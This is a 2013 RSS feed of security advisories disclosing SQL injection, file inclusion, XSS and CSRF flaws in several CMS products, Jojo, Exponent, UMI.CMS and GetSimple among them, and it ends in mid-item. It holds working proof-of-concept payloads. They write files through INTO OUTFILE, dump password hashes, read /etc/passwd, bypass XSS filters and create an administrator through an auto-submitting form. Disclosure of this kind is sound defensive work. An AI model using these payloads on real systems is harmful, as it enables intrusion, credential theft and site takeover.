<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>High-Tech Bridge Security Advisories</title><link>https://www.htbridge.com/advisory/</link><description><![CDATA[High-Tech Bridge Security Advisories]]></description><language>en</language><pubDate>Sat, 18 May 2013 23:39:36 +0200</pubDate><lastBuildDate>Sat, 18 May 2013 23:39:36 +0200</lastBuildDate><generator>HTBridge RSS Generator 0.95</generator><ttl>60</ttl><image><url>https://www.htbridge.com/images/high_tech_bridge_logo2.gif</url><link>https://www.htbridge.com</link><title>High-Tech Bridge SA, Switzerland - Ethical Hacking &amp; Penetration Testing:</title></image><category><![CDATA[Security/Advisory/Ethical Hacking/Penetration Testing]]></category><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/htbridge_disclosed_advisories" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="htbridge_disclosed_advisories" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item><title>[HTB23153]: Multiple Vulnerabilities in Jojo CMS</title><link>https://www.htbridge.com/advisory/HTB23153</link><description>&lt;b&gt;Product:&lt;/b&gt; Jojo CMS v1.2&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; SQL Injection [CWE-89], Cross-Site Scripting [CWE-79]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;Medium &lt;img src="https://www.htbridge.com/images/risk2.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; The Jojo Team&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2013-04-17 14:54:18&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; May 15, 2013 &lt;br&gt;&lt;b&gt;CVE References:&lt;/b&gt; CVE-2013-3081, CVE-2013-3082&lt;br&gt; &lt;b&gt;CVSSv2 Base Scores:&lt;/b&gt; 6.8 (AV:N/AC:M/Au:N/C:P/I:P/A:P), 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Jojo CMS, which can be exploited to perform SQL Injection and Cross-Site Scripting (XSS) attacks.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) SQL Injection in Jojo CMS: CVE-2013-3081&lt;br /&gt; &lt;br /&gt; The vulnerability is caused by insufficient filtration of user-supplied input passed to the "X-Forwarded-For" HTTP header in "/articles/test/" URI. A remote unauthenticated attacker can send a specially crafted HTTP request and execute arbitrary SQL commands in application’s database.&lt;br /&gt; &lt;br /&gt; The PoC code below will create a file "/var/www/file.php" containing content of "comment" table (if web and database server configurations allow):&lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;POST /articles/test/ HTTP/1.1&lt;br /&gt; X-Forwarded-For: ' OR 1=1 INTO OUTFILE '/var/www/file.php' -- &lt;br /&gt; Content-Type: application/x-www-form-urlencoded&lt;br /&gt; Content-Length: 88&lt;br /&gt; &lt;br /&gt; name=name&amp;amp;email=user%40mail.com&amp;amp;website=&amp;amp;anchortext=&amp;amp;comment=comment&amp;amp;submit=Post+Comment&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; The above-mentioned PoC code can be used to execute arbitrary PHP code on the vulnerable system if the attacker creates a comment containing PHP code.&lt;br /&gt; &lt;br /&gt; Successful exploitation of the vulnerability requires that "jojo comments" plugin is enabled (disabled by default).&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 2) Cross-Site Scripting (XSS) in Jojo CMS: CVE-2013-3082&lt;br /&gt; &lt;br /&gt; The vulnerability exists due to insufficient filtration of user-supplied data passed to "search" HTTP POST parameter in "/forgot-password/" URI. A remote attacker can trick a user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; The exploitation example below uses the "alert()" JavaScript function to display user's cookies:&lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;form&lt;/font&gt; &lt;font color="#800080"&gt;action&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;http://jojo/forgot-password/&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;method&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;post&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;search&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;alert(document.cookike);&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&amp;gt;&lt;/font&gt;'&lt;/font&gt;&lt;/font&gt;&amp;gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;submit&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;id&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;btn&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;form&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; </description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23153</guid><category><![CDATA[webappsec]]></category><category><![CDATA[XSS]]></category><category><![CDATA[SQL Injection]]></category><pubDate>Wed, 15 May 2013 00:00:00 +0200</pubDate></item><item><title>[HTB23154]: Multiple Vulnerabilities in Exponent CMS</title><link>https://www.htbridge.com/advisory/HTB23154</link><description>&lt;b&gt;Product:&lt;/b&gt; Exponent CMS v2.2.0 beta 3&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; SQL Injection [CWE-89], PHP File Inclusion [CWE-98]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;High &lt;img src="https://www.htbridge.com/images/risk3.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; Online Innovative Creations&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2013-04-24 12:39:31&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; May 15, 2013 &lt;br&gt;&lt;b&gt;CVE References:&lt;/b&gt; CVE-2013-3294, CVE-2013-3295&lt;br&gt; &lt;b&gt;CVSSv2 Base Scores:&lt;/b&gt; 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Exponent CMS, which can be exploited to execute arbitrary SQL commands in the database of vulnerable application and execute arbitrary PHP code on the vulnerable system.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) SQL Injection in Exponent CMS: CVE-2013-3294&lt;br /&gt; &lt;br /&gt; The vulnerability exists due to insufficient filtration of "src" and "username" HTTP GET parameters passed to "/index.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.&lt;br /&gt; &lt;br /&gt; Depending on database and system configuration, the PoC (Proof-of-Concept) code below will create a "/var/www/file.php" file with PHP function 'phpinfo()':&lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;form&lt;/font&gt; &lt;font color="#800080"&gt;action&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;http://[host]/index.php&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;method&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;post&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;main&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;action&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;login&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;int&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;module&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;login&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;password&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;password&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;src&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;'&lt;/font&gt; UNION SELECT '&lt;font color="#800000"&gt;&amp;lt;? phpinfo(); ?&amp;gt;&lt;/font&gt;&lt;/font&gt;' INTO OUTFILE '/var/www/file.php' -- &amp;quot;&amp;gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;username&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;'&lt;/font&gt; UNION SELECT '&lt;font color="#800000"&gt;&amp;lt;? phpinfo(); ?&amp;gt;&lt;/font&gt;&lt;/font&gt;' INTO OUTFILE '/var/www/file.php' -- &amp;quot;&amp;gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;submit&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;id&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;btn&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;form&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; The second PoC will attempt to create "/var/www/file.txt" file, containing usernames and hashed passwords of all application's users: &lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;form&lt;/font&gt; &lt;font color="#800080"&gt;action&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;http://[host]/index.php&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;method&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;post&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;main&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;action&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;login&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;int&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;module&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;login&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;password&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;password&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;src&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;'&lt;/font&gt; UNION SELECT CONCAT_WS(':',username,password) FROM `exponent_user` INTO OUTFILE '/var/www/file.txt' -- &amp;quot;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;username&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;'&lt;/font&gt; UNION SELECT CONCAT_WS(':',username,password) FROM `exponent_user` INTO OUTFILE '/var/www/file.txt' -- &amp;quot;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;submit&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;id&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;btn&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;form&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 2) PHP File Inclusion in Exponent CMS: CVE-2013-3295&lt;br /&gt; &lt;br /&gt; The vulnerability is caused by improper filtration of user-supplied input passed via the "page" HTTP GET parameter to "/install/popup.php" script, which is publicly accessible after CMS installation by default. A remote unauthenticated attacker can include arbitrary PHP files from the local system using directory traversal sequences with URL-encoded NULL byte, read arbitrary files or execute arbitrary PHP code on the target system. &lt;br /&gt; &lt;br /&gt; The PoC code below will output the content of '/etc/passwd' file on vulnerable system:&lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;http://[host]/install/popup.php?page=../../../../etc/passwd%00&lt;/font&gt;</description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23154</guid><category><![CDATA[webappsec]]></category><category><![CDATA[SQL Injection]]></category><pubDate>Wed, 15 May 2013 00:00:00 +0200</pubDate></item><item><title>[HTB23151]: Cross-Site Request Forgery (CSRF) in UMI.CMS</title><link>https://www.htbridge.com/advisory/HTB23151</link><description>&lt;b&gt;Product:&lt;/b&gt; UMI.CMS v2.9&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; Cross-Site Request Forgery [CWE-352]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;Medium &lt;img src="https://www.htbridge.com/images/risk2.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; OOO Umisoft&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2013-04-03 12:15:26&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; May 8, 2013 &lt;br&gt;&lt;b&gt;CVE Reference:&lt;/b&gt; CVE-2013-2754&lt;br&gt; &lt;b&gt;CVSSv2 Base Score:&lt;/b&gt; 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered CSRF vulnerability in UMI.CMS, which can be exploited to perform Cross-Site Request Forgery (CSRF) attacks and create new administrator in the vulnerable application.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) Cross-site Request Forgery (CSRF) in UMI.CMS: CVE-2013-2754&lt;br /&gt; &lt;br /&gt; The application allows authorized administrator to perform certain sensitive actions via HTTP requests without making proper validity checks to verify the source of these HTTP requests. This can be exploited to perform any actions with administrator privileges, such as adding new administrator to the system.&lt;br /&gt; &lt;br /&gt; A remote attacker can create a specially crafted webpage, trick a logged-in administrator to open it and create new user with administrative privileges.&lt;br /&gt; &lt;br /&gt; A basic CSRF exploit below will create new administrator with "csrfuser" as a login and "password" as a password:&lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;form&lt;/font&gt; &lt;font color="#800080"&gt;action&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;http://[host]/admin/users/add/user/do/&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;method&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;post&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;main&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;data[new][login]&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;csrfuser&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;data[new][password][]&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;password&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;data[new][e-mail]&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;user@mail.com&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;data[new][is_activated]&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;data[new][fname]&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;username&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;data[new][groups][]&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;data[new][groups][]&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;2&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;submit&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;id&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;btn&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;form&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; document.main.submit();&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;</description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23151</guid><category><![CDATA[webappsec]]></category><category><![CDATA[CSRF]]></category><pubDate>Wed, 08 May 2013 00:00:00 +0200</pubDate></item><item><title>[HTB23141]: Multiple Cross-Site Scripting (XSS) vulnerabilities in GetSimple CMS</title><link>https://www.htbridge.com/advisory/HTB23141</link><description>&lt;b&gt;Product:&lt;/b&gt; GetSimple CMS v3.1.2&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; Cross-Site Scripting [CWE-79]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;Low &lt;img src="https://www.htbridge.com/images/risk1.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; get-simple.info&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2013-01-23 11:24:13&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; May 1, 2013 &lt;br&gt;&lt;b&gt;CVE Reference:&lt;/b&gt; CVE-2013-1420&lt;br&gt; &lt;b&gt;CVSSv2 Base Score:&lt;/b&gt; 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in GetSimple CMS, which can be exploited to perform Cross-Site Scripting (XSS) attacks. The application has XSS filter, however it can be bypassed as demonstrated below.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) Cross-Site Scripting (XSS) in GetSimple CMS: CVE-2013-1420&lt;br /&gt; &lt;br /&gt; 1.1 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "id" HTTP GET parameter to "/admin/backup-edit.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; The exploitation example below uses the "alert()" JavaScript function to display administrator's cookies: &lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;http://[host]/admin/backup-edit.php?p=1&amp;amp;id=&amp;quot;&amp;gt;&amp;lt;scri&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;pt&amp;gt;alert(document.cookie);&amp;lt;/scri&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;pt&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1.2 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "path" HTTP GET parameter to "/admin/upload.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; The exploitation example below uses the "alert()" JavaScript function to display administrator's cookies: &lt;br /&gt; &lt;br /&gt; &lt;font 